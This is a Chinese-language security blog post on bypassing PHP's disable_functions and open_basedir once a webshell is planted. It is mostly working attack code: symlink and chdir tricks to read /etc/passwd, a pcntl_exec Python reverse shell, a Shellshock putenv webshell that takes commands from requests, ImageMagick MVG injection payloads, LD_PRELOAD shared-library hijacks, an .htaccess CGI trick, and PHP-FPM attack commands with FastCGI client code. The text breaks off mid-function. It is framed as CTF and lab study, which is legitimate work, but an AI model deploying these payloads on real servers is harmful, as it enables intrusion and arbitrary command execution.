当前位置: 首页 > 技术干货 > php中函数禁用绕过的原理与利用

php中函数禁用绕过的原理与利用

发表于:2020-12-24 15:41 作者: mtr 阅读数(3388人)

是否遇到过费劲九牛二虎之力拿了webshell却发现连个scandir都执行不了?拿了webshell确实是一件很欢乐的事情,但有时候却仅仅只是一个小阶段的结束;本文将会以webshell作为起点从头到尾来归纳bypass disable function的各种姿势。

从phpinfo中获取可用信息

信息收集是不可缺少的一环;通常的,我们在通过前期各种工作成功执行代码 or 发现了一个phpinfo页面之后,会从该页面中搜集一些可用信息以便后续漏洞的寻找。

我谈谈我个人的几个偏向点:

版本号

最直观的就是php版本号(虽然版本号有时候会在响应头中出现),如我的机器上版本号为:

PHP Version 7.2.9-1

那么找到版本号后就会综合看看是否有什么"版本专享"漏洞可以利用。

DOCUMENT_ROOT

接下来就是搜索一下DOCUMENT_ROOT取得网站当前路径,虽然常见的都是在/var/www/html,但难免有例外。

disable_functions

这是本文的重点,disable_functions顾名思义函数禁用,以笔者的kali环境为例,默认就禁用了如下函数:

如一些ctf题会把disable设置的极其恶心,即使我们在上传马儿到网站后会发现什么也做不了,那么此时的绕过就是本文所要讲的内容了。

open_basedir

该配置限制了当前php程序所能访问到的路径,如笔者设置了:

<?php
ini_set('open_basedir', '/var/www/html:' .'/tmp');
phpinfo();

随后我们能够看到phpinfo中出现如下:

尝试scandir会发现列根目录失败。

<?php
ini_set('open_basedir', '/var/www/html:' .'/tmp');
//phpinfo();
var_dump(scandir("."));
var_dump(scandir("/"));
//array(5) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) "index.html" [3]=> string(23) "index.nginx-debian.html" [4]=> string(11) "phpinfo.php" } bool(false)

opcache

如果使用了opcache,那么可能达成getshell,但需要存在文件上传的点,直接看链接:

https://www.cnblogs.com/xhds/p/13239331.html

others

如文件包含时判断协议是否可用的两个配置项:

allow_url_include、allow_url_fopen

上传webshell时判断是否可用短标签的配置项:

short_open_tag

还有一些会在下文中讲到。

bypass open_basedir

因为有时需要根据题目判断采用哪种bypass方式,同时,能够列目录对于下一步测试有不小帮助,这里列举几种比较常见的bypass方式,均从p神博客摘出,推荐阅读p神博客原文,这里仅作简略总结。

syslink

https://www.php.net/manual/zh/function.symlink.php

symlink ( string $target , string $link ) : bool

symlink() 对于已有的 target 建立一个名为 link 的符号连接。

简单来说就是建立软链达成bypass。

代码实现如下:

<?php
symlink("abc/abc/abc/abc","tmplink"); 
symlink("tmplink/../../../../etc/passwd", "exploit"); 
unlink("tmplink"); 
mkdir("tmplink");

首先是创建一个link,将tmplink用相对路径指向abc/abc/abc/abc,然后再创建一个link,将exploit指向tmplink/../../../../etc/passwd,此时就相当于exploit指向了abc/abc/abc/abc/../../../../etc/passwd,也就相当于exploit指向了./etc/passwd,此时删除tmplink文件后再创建tmplink目录,此时就变为/etc/passwd成功跨目录。

访问exploit即可读取到/etc/passwd。

glob

查找匹配的文件路径模式,是php自5.3.0版本起开始生效的一个用来筛选目录的伪协议

常用bypass方式如下:

<?php
$c = "glob:///*";
$a = new DirectoryIterator($c);
foreach($a as $f){
 echo($f->__toString().'<br>');
}
?>

但会发现比较神奇的是只能列举根目录下的文件。

chdir()与ini_set()

chdir是更改当前工作路径。

mkdir('test');
chdir('test');
ini_set('open_basedir','..');
chdir('..');chdir('..');chdir('..');chdir('..');
ini_set('open_basedir','/');
echo file_get_contents('/etc/passwd');

利用了ini_set的open_basedir的设计缺陷,可以用如下代码观察一下其bypass过程:

<?php
ini_set('open_basedir', '/var/www/html:' .'/tmp');
mkdir('test');
chdir('test');
ini_set('open_basedir','..');
printf('<b>open_basedir : %s </b><br />', ini_get('open_basedir'));
chdir('..');chdir('..');chdir('..');chdir('..');
ini_set('open_basedir','/');
printf('<b>open_basedir : %s </b><br />', ini_get('open_basedir'));
//open_basedir : ..
//open_basedir : /

bindtextdomain

该函数的第二个参数为一个文件路径,先看代码:

<?php
ini_set('open_basedir', '/var/www/html:' .'/tmp');

printf('<b>open_basedir: %s</b><br />', ini_get('open_basedir'));
$re = bindtextdomain('xxx', '/etc/passwd');
var_dump($re);
$re = bindtextdomain('xxx', '/etc/passw');
var_dump($re);
//open_basedir: /var/www/html:/tmp
//string(11) "/etc/passwd" bool(false)

可以看到当文件不存在时返回值为false,因为不支持通配符,该方法只能适用于linux下的暴力猜解文件。

Realpath

同样是基于报错,但realpath在windows下可以使用通配符<>进行列举,脚本摘自p神博客:

<?php
ini_set('open_basedir', dirname(__FILE__));
printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));
set_error_handler('isexists');
$dir = 'd:/test/';
$file = '';
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789_';
for ($i=0; $i < strlen($chars); $i++) { 
    $file = $dir . $chars[$i] . '<><';
    realpath($file);
}
function isexists($errno, $errstr)
{
    $regexp = '/File\((.*)\) is not within/';
    preg_match($regexp, $errstr, $matches);
    if (isset($matches[1])) {
        printf("%s <br/>", $matches[1]);
    }
}
?>

other

如命令执行事实上是不受open_basedir的影响的。

bypass disable function

蚁剑项目仓库中有一个各种disable的测试环境可以复现,需要环境的师傅可以选用蚁剑的环境。

https://github.com/AntSwordProject/AntSword-Labs

黑名单突破

这个应该是最简单的方式,就是寻找替代函数来执行,如system可以采用如反引号来替代执行命令。

看几种常见用于执行系统命令的函数:

system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open,``

当然了这些也常常出现在disable function中,那么可以寻找可以比较容易被忽略的函数,通过函数 or 函数组合拳来执行命令。

  • 反引号:最容易被忽略的点,执行命令但回显需要配合其他函数,可以反弹shell
  • pcntl_exec:目标机器若存在python,可用php执行python反弹shell
<?php 
pcntl_exec("/usr/bin/python",array('-c', 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect(("{ip}",{port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'));?>

ShellShock

原理

本质是利用bash破壳漏洞(CVE-2014-6271)。

影响范围在于bash 1.14 – 4.3

关键在于:

目前的bash脚本是以通过导出环境变量的方式支持自定义函数,也可将自定义的bash函数传递给子相关进程。一般函数体内的代码是不会被执行,但此漏洞会错误的将“{}”花括号外的命令进行执行。

本地验证方法:

在shell中执行下面命令:

env x='() { :;}; echo Vulnerable CVE-2014-6271 ' bash -c "echo test"

执行命令后,如果显示Vulnerable CVE-2014-6271,证系统存在漏洞,可改变echo Vulnerable CVE-2014-6271为任意命令进行执行。

详见:https://www.antiy.com/response/CVE-2014-6271.html

因为是设置环境变量,而在php中存在着putenv可以设置环境变量,配合开启子进程来让其执行命令。

利用

https://www.exploit-db.com/exploits/35146

<?php
function shellshock($cmd) {
   $tmp = tempnam(".","data"); 
   putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1"); 
   error_log('a',1);
   $output = @file_get_contents($tmp); 
   @unlink($tmp); 
   if($output != "") return $output; 
   else return "No output, or not vuln."; 
} 
echo shellshock($_REQUEST["cmd"]); 
?>

将exp上传后即可执行系统命令bypass disable,就不做过多赘述。

ImageMagick

原理

漏洞源于CVE-2016-3714,ImageMagick是一款图片处理程序,但当用户传入一张恶意图片时,会造成命令注入,其中还有其他如ssrf、文件读取等,当然最致命的肯定是命令注入。

而在漏洞出来之后各位师傅联想到php扩展中也使用了ImageMagick,当然也就存在着漏洞的可能,并且因为漏洞的原理是直接执行系统命令,所以也就不存在是否被disable的可能,因此可以被用于bypass disable。

关于更加详细的漏洞分析请看p神的文章:CVE-2016-3714 - ImageMagick 命令执行分析,我直接摘取原文中比较具有概括性的漏洞说明:

漏洞报告中给出的POC是利用了如下的这个委托:

<delegate decode="https" command="&quot;curl&quot; -s -k -o &quot;%o&quot; &quot;https:%M&quot;"/>

它在解析https图片的时候,使用了curl命令将其下载,我们看到%M被直接放在curl的最后一个参数内。ImageMagick默认支持一种图片格式,叫mvg,而mvg与svg格式类似,其中是以文本形式写入矢量图的内容,而这其中就可以包含https处理过程。

所以我们可以构造一个.mvg格式的图片(但文件名可以不为.mvg,比如下图中包含payload的文件的文件名为vul.gif,而ImageMagick会根据其内容识别为mvg图片),并在https://后面闭合双引号,写入自己要执行的命令:

push graphic-context
viewbox 0 0 640 480
fill 'url(https://"|id; ")'
pop graphic-context

这样,ImageMagick在正常执行图片转换、处理的时候就会触发漏洞。

漏洞的利用极其简单,只需要构造一张恶意的图片,new一个类即可触发该漏洞:

<?php
new Imagick('test.mvg');

利用

那么依旧以靶场题为例,依旧以拥有一句话马儿为前提,我们首先上传一个图片,如上面所述的我们图片的后缀无需mvg,因此上传一个jpg图片:

push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'https://127.0.0.1/x.php?x=`cat /etc/passwd > /var/www/html/success`'
pop graphic-context

那么因为我们看不到回显,所以可以考虑将结果写入到文件中,或者直接执行反弹shell。

然后如上上传一个poc.php:

<?php
new Imagick('vul.jpg');

访问即可看到我们写入的文件。

那么这一流程颇为繁琐(当我们需要多次执行命令进行测试时就需要多次调整图片内容),因此我们可以写一个php马来动态传入命令:

<?php
$command = $_GET['cmd'];

if ($command == '') {
    $command = 'whoami>success';
}

$exploit = <<<EOF
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'https://127.0.0.1/x.php?x=`$command`'
pop graphic-context
EOF;

file_put_contents("test.mvg", $exploit);
$thumb = new Imagick();
$thumb->readImage('test.mvg');
$thumb->writeImage('test.png');
$thumb->clear();
$thumb->destroy();
unlink("test.mvg");
unlink("test.png");
?>

LD_PRELOAD

喜闻乐见的LD_PRELOAD,这是我学习web时遇到的第一个bypass disable的方式,个人觉得很有意思。

原理

LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。

而我们bypass的关键就是利用LD_PRELOAD加载库优先的特点来让我们自己编写的动态链接库优先于正常的函数库,以此达成执行system命令。

因为id命令比较易于观察,网上文章也大同小异采用了id命令下的getuid/getgid来做测试,为做个试验笔者换成了

我们先看看id命令的调用函数:

strace -f /usr/bin/id

Resulut:

close(3)                                = 0
geteuid32()                             = 0
getuid32()                              = 0
getegid32()                             = 0
getgid32()                              = 0
(省略....)
getgroups32(0, NULL)                    = 1
getgroups32(1, [0])                     = 1

这里可以看到有不少函数可以编写,我选择getgroups32,我们可以用man命令查看一下函数的定义:

man getgroups32

看到这一部分:

得到了函数的定义,我们只需要编写其内的getgroups即可,因此我编写一个hack.c:

#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int getgroups(int size, gid_t list[]){

	unsetenv("LD_PRELOAD");
	system("echo 'i hack it'");
	return 1;
}

然后使用gcc编译成一个动态链接库:

gcc -shared -fPIC hack.c -o hack.so

使用LD_PRELOAD加载并执行id命令,我们会得到如下的结果:

再来更改一下uid测试,我们先adduser一个新用户hhhm,执行id命令结果如下:

然后根据上面的步骤取得getuid32的函数定义,据此来编写一个hack.c:

#include <stdlib.h>
#include <dlfcn.h>
#include <unistd.h>
#include <sys/types.h>

uid_t geteuid( void ) { return 0; }
uid_t getuid( void ) { return 0; }
uid_t getgid( void ) { return 0; }

gcc编译后,执行,结果如下:

可以看到我们的uid成功变为1,且更改为root了,当然了因为我们的hack.so是root权限编译出来的,在一定条件下也许可以用此种方式来提权,网上也有相关文章,不过我没实际尝试过就不做过分肯定的说法。

下面看看在php中如何配合利用达成bypass disable。

php中的利用

php中主要是需要配合putenv函数,如果该函数被ban了那么也就没他什么事了,所以bypass前需要观察disable是否ban掉putenv。

php中的利用根据大师傅们的文章我主要提取出下面几种利用方式,其实质都是大同小异,需要找出一个函数然后采用相同的机制覆盖掉其函数进而执行系统命令。

那么我们受限于disable,system等执行系统命令的函数无法使用,而若想要让php调用外部程序来进一步达成执行系统命令从而达成bypass就只能依赖与php解释器本身。

因此有一个大前提就是需要从php解释器中启动子进程。

老套路之mail

先选取一台具有sendmail的机器,笔者是使用kali,先在php中写入如下代码

<?php
mail("","","","");

同样的可以使用strace来追踪函数的执行过程。

strace -f php phpinfo.php 2>&1 | grep execve

可以看到这里调用了sendmail,与网上的文章同样的我们可以追踪sendmail来查看其调用过程,或者使用readelf可以查看其使用函数:

strace sendmail

那么以上面的方式编写并编译一个动态链接库然后利用LD_PRELOAD去执行我们的命令,这就是老套路的利用。

因为没有回显,为方便查看效果我写了一个ls>test,因此hack.c如下:

#include <stdlib.h>
#include <dlfcn.h>
#include <unistd.h>
#include <sys/types.h>

uid_t geteuid( void ) { system("ls>test"); return 0; }
uid_t getuid( void ) { return 1; }
uid_t getgid( void ) { return 0; }

同样的gcc编译后,页面写入如下:

<?php
putenv("LD_PRELOAD=./hack.so");
mail("","","","");
?>

访问页面得到运行效果如下:

再提一个我在利用过程中走错的点,这里为测试,我换用一台没有sendmail的ubuntu:

但如果我们按照上面的步骤直接追踪index的执行而不过滤选取execve会发现同样存在着geteuid,并且但这事实上是sh调用的而非mail调用的,因此如果我们使用php index.php来调用会发现system执行成功,但如果我们通过页面来访问则会发现执行失败,这是一个在利用过程中需要注意的点,这也就是为什么我们会使用管道符来选取execve。

第一个execve为php解释器启动的进程,而后者即为我们所需要的sendmail子进程。

error_log

同样的除了mail会调用sendmail之外,还有error_log也会调用,如图:

error_log调用

ps:当error_log的type为1时就会调用到sendmail。

因此上面针对于mail函数的套路对于error_log同样适用,however,我们会发现此类劫持都只是针对某一个函数,而前面所做的都是依赖与sendmail,而像目标机器如果不存在sendmail,那么前面的做法就完全无用。

yangyangwithgnu师傅在其文无需sendmail:巧用LD_PRELOAD突破disable_functions提到了我们不要局限于仅劫持某一函数,而应考虑劫持共享对象

劫持共享对象

文中使用到了如下代码编写的库:

#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

__attribute__ ((__constructor__)) void anything (void){
    unsetenv("LD_PRELOAD");
    system("ls>test");
}

那么关于__attribute__ ((__constructor__))个人理解是其会在共享库加载时运行,也就是程序启动时运行,那么这一步的利用同样需要有前面说到的启动子进程这一个大前提,也就是需要有类似于mail、Imagick可以令php解释器启动新进程的函数。

同样的将LD_PRELOAD指定为gcc编译的共享库,然后访问页面查看,会发现成功将ls写到test下(如果失败请检查写权限问题)

0ctf 2019中Wallbreaker Easy中的出题点就是采用了imagick在处理一些特定后缀文件时,会调用ffmpeg,也就是会开启子进程,从而达成加载共享库执行系统命令bypass disable。

Apache Mod CGI

前面的两种利用都需要putenv,如果putenv被ban了那么就需要这种方式,简单介绍一下原理。

原理

利用htaccess覆盖apache配置,增加cgi程序达成执行系统命令,事实上同上传htaccess解析png文件为php程序的利用方式大同小异。

mod cgi:

任何具有MIME类型application/x-httpd-cgi或者被cgi-script处理器处理的文件都将被作为CGI脚本对待并由服务器运行,它的输出将被返回给客户端。可以通过两种途径使文件成为CGI脚本,一种是文件具有已由AddType指令定义的扩展名,另一种是文件位于ScriptAlias目录中。

因此我们只需上传一个.htaccess:

Options +ExecCGI  //使运行cgi程序的执行
AddHandler cgi-script .test	//将test后缀的文件解析为cgi程序

利用

利用就很简单了:

  • 上传htaccess,内容为上文所给出的内容
  • 上传a.test,内容为:
#!/bin/bash
echo&&ls

给a.test权限,访问即可得到执行结果。

PHP-FPM

php-fpm相信有读者在配置php环境时会遇到,如使用nginx+php时会在配置文件中配置如下:

location ~ .php$ {
root html;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
}

那么看看百度百科中关于php-fpm的介绍:

PHP-FPM(FastCGI Process Manager:FastCGI进程管理器)是一个PHPFastCGI管理器,对于PHP 5.3.3之前的php来说,是一个补丁包 [1] ,旨在将FastCGI进程管理整合进PHP包中。如果你使用的是PHP5.3.3之前的PHP的话,就必须将它patch到你的PHP源代码中,在编译安装PHP后才可以使用。

那么fastcgi又是什么?Fastcgi 是一种通讯协议,用于Web服务器与后端语言的数据交换。

原理

那么我们在配置了php-fpm后如访问http://127.0.0.1/test.php?test=1,那么会被解析为如下键值对:

{
    'GATEWAY_INTERFACE': 'FastCGI/1.0',
    'REQUEST_METHOD': 'GET',
    'SCRIPT_FILENAME': '/var/www/html/test.php',
    'SCRIPT_NAME': '/test.php',
    'QUERY_STRING': '?test=1',
    'REQUEST_URI': '/test.php?test=1',
    'DOCUMENT_ROOT': '/var/www/html',
    'SERVER_SOFTWARE': 'php/fcgiclient',
    'REMOTE_ADDR': '127.0.0.1',
    'REMOTE_PORT': '12304',
    'SERVER_ADDR': '127.0.0.1',
    'SERVER_PORT': '80',
    'SERVER_NAME': "localhost",
    'SERVER_PROTOCOL': 'HTTP/1.1'
}

这个数组很眼熟,会发现其实就是$_SERVER里面的一部分,那么php-fpm拿到这一个数组后会去找到SCRIPT_FILENAME的值,对于这里的/var/www/html/test.php,然后去执行它。

前面笔者留了一个配置,在配置中可以看到fastcgi的端口是9000,监听地址是127.0.0.1,那么如果地址为0.0.0.0,也即是将其暴露到公网中,倘若我们伪造与fastcgi通信,这样就会导致远程代码执行。

那么事实上php-fpm通信方式有tcp也就是9000端口的那个,以及socket的通信,因此也存在着两种攻击方式。

socket方式的话配置文件会有如下:

fastcgi_pass unix:/var/run/phpfpm.sock;

那么我们可以稍微了解一下fastcgi的协议组成,其由多个record组成,这里摘抄一下p神原文中的一段结构体:

typedef struct {
  /* Header */
  unsigned char version; // 版本
  unsigned char type; // 本次record的类型
  unsigned char requestIdB1; // 本次record对应的请求id
  unsigned char requestIdB0;
  unsigned char contentLengthB1; // body体的大小
  unsigned char contentLengthB0;
  unsigned char paddingLength; // 额外块大小
  unsigned char reserved; 

  /* Body */
  unsigned char contentData[contentLength];
  unsigned char paddingData[paddingLength];
} FCGI_Record;

可以看到record分为header以及body,其中header固定为8字节,而body由其contentLength决定,而paddingData为保留段,不需要时长度置为0。

而type的值从1-7有各种作用,当其type=4时,后端就会将其body解析成key-value,看到key-value可能会很眼熟,没错,就是我们前面看到的那一个键值对数组,也就是环境变量。

那么在学习漏洞利用之前,我们有必要了解两个环境变量,

  • PHP_VALUE:可以设置模式为 PHP_INI_USERPHP_INI_ALL 的选项
  • PHP_ADMIN_VALUE:可以设置所有选项(除了disable_function)

那么以p神文中的利用方式我们需要满足三个条件:

  • 找到一个已知的php文件
  • 利用上述两个环境变量将auto_prepend_file设置为php://input
  • 开启php://input需要满足的条件:allow_url_include为on

此时熟悉文件包含漏洞的童鞋就一目了然了,我们可以执行任意代码了。

这里利用的情况为:

'PHP_VALUE': 'auto_prepend_file = php://input'
'PHP_ADMIN_VALUE': 'allow_url_include = On'

利用

我们先直接看phpinfo如何标识我们可否利用该漏洞进行攻击。

那么先以攻击tcp为例,倘若我们伪造nginx发送数据(fastcgi封装的数据)给php-fpm,这样就会造成任意代码执行漏洞。

p神已经写好了一个exp,因为开放fastcgi为0.0.0.0的情况事实上同攻击内网相似,所以这里可以尝试一下攻击127.0.0.1也就是攻击内网的情况,那么事实上我们可以配合gopher协议来攻击内网的fpm,因为与本文主题不符就不多讲。

python a.py 127.0.0.1 -p 9000 /var/www/html/phpinfo.php -c '<?php echo `id`;exit;?>'

可以看到结果如图所示:

攻击成功后我们去查看一下phpinfo会看到如下:

也就是说我们构造的攻击包为:

{
    'GATEWAY_INTERFACE': 'FastCGI/1.0',
    'REQUEST_METHOD': 'GET',
    'SCRIPT_FILENAME': '/var/www/html/phpinfo.php',
    'SCRIPT_NAME': '/phpinfo.php',
    'QUERY_STRING': '',
    'REQUEST_URI': '/phpinfo.php',
    'DOCUMENT_ROOT': '/var/www/html',
    'SERVER_SOFTWARE': 'php/fcgiclient',
    'REMOTE_ADDR': '127.0.0.1',
    'REMOTE_PORT': '12304',
    'SERVER_ADDR': '127.0.0.1',
    'SERVER_PORT': '80',
    'SERVER_NAME': "localhost",
    'SERVER_PROTOCOL': 'HTTP/1.1',
    'PHP_VALUE': 'auto_prepend_file = php://input',
    'PHP_ADMIN_VALUE': 'allow_url_include = On'
}

很明显的前面所说的都是成立的;然而事实上我这里是没有加入disable的情况,我们往里面加入disable再尝试。

pkill php-fpm
/usr/sbin/php-fpm7.0 -c /etc/php/7.0/fpm/php.ini

注意修改了ini文件后重启fpm需要指定ini。

我往disable里压了一个system:

pcntl_alarm,system,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,

然后再执行一下exp,可以发现被disable了:

因此此种方法还无法达成bypass disable的作用,那么不要忘了我们的两个php_value能够修改的可不仅仅只是auto_prepend_file,并且的我们还可以修改basedir来绕过;在先前的绕过姿势中我们是利用到了so文件执行扩展库来bypass,那么这里同样可以修改extension为我们编写的so库来执行系统命令,具体利用有师傅已经写了利用脚本,事实上蚁剑中的插件已经能实现了该bypass的功能了,那么下面我直接对蚁剑中插件如何实现bypass做一个简要分析。

在执行蚁剑的插件时会发现其在当前目录生成了一个.antproxy.php文件,那么我们后续的bypass都是通过该文件来执行,那么先看一下这个shell的代码:

<?php
function get_client_header(){
    $headers=array();
    foreach($_SERVER as $k=>$v){
        if(strpos($k,'HTTP_')===0){
            $k=strtolower(preg_replace('/^HTTP/', '', $k));
            $k=preg_replace_callback('/_\w/','header_callback',$k);
            $k=preg_replace('/^_/','',$k);
            $k=str_replace('_','-',$k);
            if($k=='Host') continue;
            $headers[]="$k:$v";
        }
    }
    return $headers;
}
function header_callback($str){
    return strtoupper($str[0]);
}
function parseHeader($sResponse){
    list($headerstr,$sResponse)=explode("

",$sResponse, 2);
    $ret=array($headerstr,$sResponse);
    if(preg_match('/^HTTP/1.1 d{3}/', $sResponse)){
        $ret=parseHeader($sResponse);
    }
    return $ret;
}

set_time_limit(120);
$headers=get_client_header();
$host = "127.0.0.1";
$port = 60882;
$errno = '';
$errstr = '';
$timeout = 30;
$url = "/index.php";

if (!empty($_SERVER['QUERY_STRING'])){
    $url .= "?".$_SERVER['QUERY_STRING'];
};

$fp = fsockopen($host, $port, $errno, $errstr, $timeout);
if(!$fp){
    return false;
}

$method = "GET";
$post_data = "";
if($_SERVER['REQUEST_METHOD']=='POST') {
    $method = "POST";
    $post_data = file_get_contents('php://input');
}

$out = $method." ".$url." HTTP/1.1\r\n";
$out .= "Host: ".$host.":".$port."\r\n";
if (!empty($_SERVER['CONTENT_TYPE'])) {
    $out .= "Content-Type: ".$_SERVER['CONTENT_TYPE']."\r\n";
}
$out .= "Content-length:".strlen($post_data)."\r\n";

$out .= implode("\r\n",$headers);
$out .= "\r\n\r\n";
$out .= "".$post_data;

fputs($fp, $out);

$response = '';
while($row=fread($fp, 4096)){
    $response .= $row;
}
fclose($fp);
$pos = strpos($response, "\r\n\r\n");
$response = substr($response, $pos+4);
echo $response;

定位到关键代码:

$headers=get_client_header();
$host = "127.0.0.1";
$port = 60882;
$errno = '';
$errstr = '';
$timeout = 30;
$url = "/index.php";

if (!empty($_SERVER['QUERY_STRING'])){
    $url .= "?".$_SERVER['QUERY_STRING'];
};

$fp = fsockopen($host, $port, $errno, $errstr, $timeout);

可以看到它这里向60882端口进行通信,事实上这里蚁剑使用/bin/sh -c php -n -S 127.0.0.1:60882 -t /var/www/html开启了一个新的php服务,并且不使用php.ini,因此也就不存在disable了,那么我们在观察其执行过程会发现其还在tmp目录下上传了一个so文件,那么至此我们有理由推断出其通过攻击php-fpm修改其extension为在tmp目录下上传的扩展库,事实上从该插件的源码中也可以得知确实如此:

那么启动了该php server后我们的流量就通过antproxy.php转发到无disabel的php server上,此时就成功达成bypass。

加载so扩展

前面虽然解释了其原理,但毕竟理论与实践有所区别,因此我们可以自己打一下extension进行测试。

so文件可以从项目中获取,根据其提示编译即可获取ant.so的库,修改php-fpm的php.ini,加入:

extension=/var/www/html/ant.so

然后重启php-fpm,如果使用如下:

<?php
antsystem("ls");

成功执行命令时即说明扩展成功加载,那么我们再把ini恢复为先前的样子,我们尝试直接攻击php-fpm来修改其配置项。

以脚本来攻击:

import requests

sess = requests.session()

def execute_php_code(s):
    res = sess.post('http://192.168.242.5/index.php', data={"a": s})
    return res.text


code = '''
class AA
{
    const VERSION_1            = 1;

    const BEGIN_REQUEST        = 1;
    const ABORT_REQUEST        = 2;
    const END_REQUEST          = 3;
    const PARAMS               = 4;
    const STDIN                = 5;
    const STDOUT               = 6;
    const STDERR               = 7;
    const DATA                 = 8;
    const GET_VALUES           = 9;
    const GET_VALUES_RESULT    = 10;
    const UNKNOWN_TYPE         = 11;
    const MAXTYPE              = self::UNKNOWN_TYPE;

    const RESPONDER            = 1;
    const AUTHORIZER           = 2;
    const FILTER               = 3;

    const REQUEST_COMPLETE     = 0;
    const CANT_MPX_CONN        = 1;
    const OVERLOADED           = 2;
    const UNKNOWN_ROLE         = 3;

    const MAX_CONNS            = 'MAX_CONNS';
    const MAX_REQS             = 'MAX_REQS';
    const MPXS_CONNS           = 'MPXS_CONNS';

    const HEADER_LEN           = 8;

    /**
     * Socket
     * @var Resource
     */
    private $_sock = null;

    /**
     * Host
     * @var String
     */
    private $_host = null;

    /**
     * Port
     * @var Integer
     */
    private $_port = null;

    /**
     * Keep Alive
     * @var Boolean
     */
    private $_keepAlive = false;

    /**
     * Constructor
     *
     * @param String $host Host of the FastCGI application
     * @param Integer $port Port of the FastCGI application
     */
    public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
    {
        $this->_host = $host;
        $this->_port = $port;
    }

    /**
     * Define whether or not the FastCGI application should keep the connection
     * alive at the end of a request
     *
     * @param Boolean $b true if the connection should stay alive, false otherwise
     */
    public function setKeepAlive($b)
    {
        $this->_keepAlive = (boolean)$b;
        if (!$this->_keepAlive && $this->_sock) {
            fclose($this->_sock);
        }
    }

    /**
     * Get the keep alive status
     *
     * @return Boolean true if the connection should stay alive, false otherwise
     */
    public function getKeepAlive()
    {
        return $this->_keepAlive;
    }

    /**
     * Create a connection to the FastCGI application
     */
    private function connect()
    {
        if (!$this->_sock) {
            $this->_sock = fsockopen($this->_host);
            var_dump($this->_sock);
            if (!$this->_sock) {
                throw new Exception('Unable to connect to FastCGI application');
            }
        }
    }

    /**
     * Build a FastCGI packet
     *
     * @param Integer $type Type of the packet
     * @param String $content Content of the packet
     * @param Integer $requestId RequestId
     */
    private function buildPacket($type, $content, $requestId = 1)
    {
        $clen = strlen($content);
        return chr(self::VERSION_1)         /* version */
            . chr($type)                    /* type */
            . chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
            . chr($requestId & 0xFF)        /* requestIdB0 */
            . chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */
            . chr($clen & 0xFF)             /* contentLengthB0 */
            . chr(0)                        /* paddingLength */
            . chr(0)                        /* reserved */
            . $content;                     /* content */
    }

    /**
     * Build an FastCGI Name value pair
     *
     * @param String $name Name
     * @param String $value Value
     * @return String FastCGI Name value pair
     */
    private function buildNvpair($name, $value)
    {
        $nlen = strlen($name);
        $vlen = strlen($value);
        if ($nlen < 128) {
            /* nameLengthB0 */
            $nvpair = chr($nlen);
        } else {
            /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
            $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
        }
        if ($vlen < 128) {
            /* valueLengthB0 */
            $nvpair .= chr($vlen);
        } else {
            /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
            $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
        }
        /* nameData & valueData */
        return $nvpair . $name . $value;
    }

    /**
     * Read a set of FastCGI Name value pairs
     *
     * @param String $data Data containing the set of FastCGI NVPair
     * @return array of NVPair
     */
    private function readNvpair($data, $length = null)
    {
        $array = array();

        if ($length === null) {
            $length = strlen($data);
        }

        $p = 0;

        while ($p != $length) {

            $nlen = ord($data{$p++});
            if ($nlen >= 128) {
                $nlen = ($nlen & 0x7F << 24);
                $nlen |= (ord($data{$p++}) << 16);
                $nlen |= (ord($data{$p++}) << 8);
                $nlen |= (ord($data{$p++}));
            }
            $vlen = ord($data{$p++});
            if ($vlen >= 128) {
                $vlen = ($nlen & 0x7F << 24);
                $vlen |= (ord($data{$p++}) << 16);
                $vlen |= (ord($data{$p++}) << 8);
                $vlen |= (ord($data{$p++}));
            }
            $array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
            $p += ($nlen + $vlen);
        }

        return $array;
    }

    /**
     * Decode a FastCGI Packet
     *
     * @param String $data String containing all the packet
     * @return array
     */
    private function decodePacketHeader($data)
    {
        $ret = array();
        $ret['version']       = ord($data{0});
        $ret['type']          = ord($data{1});
        $ret['requestId']     = (ord($data{2}) << 8) + ord($data{3});
        $ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
        $ret['paddingLength'] = ord($data{6});
        $ret['reserved']      = ord($data{7});
        return $ret;
    }

    /**
     * Read a FastCGI Packet
     *
     * @return array
     */
    private function readPacket()
    {
        if ($packet = fread($this->_sock, self::HEADER_LEN)) {
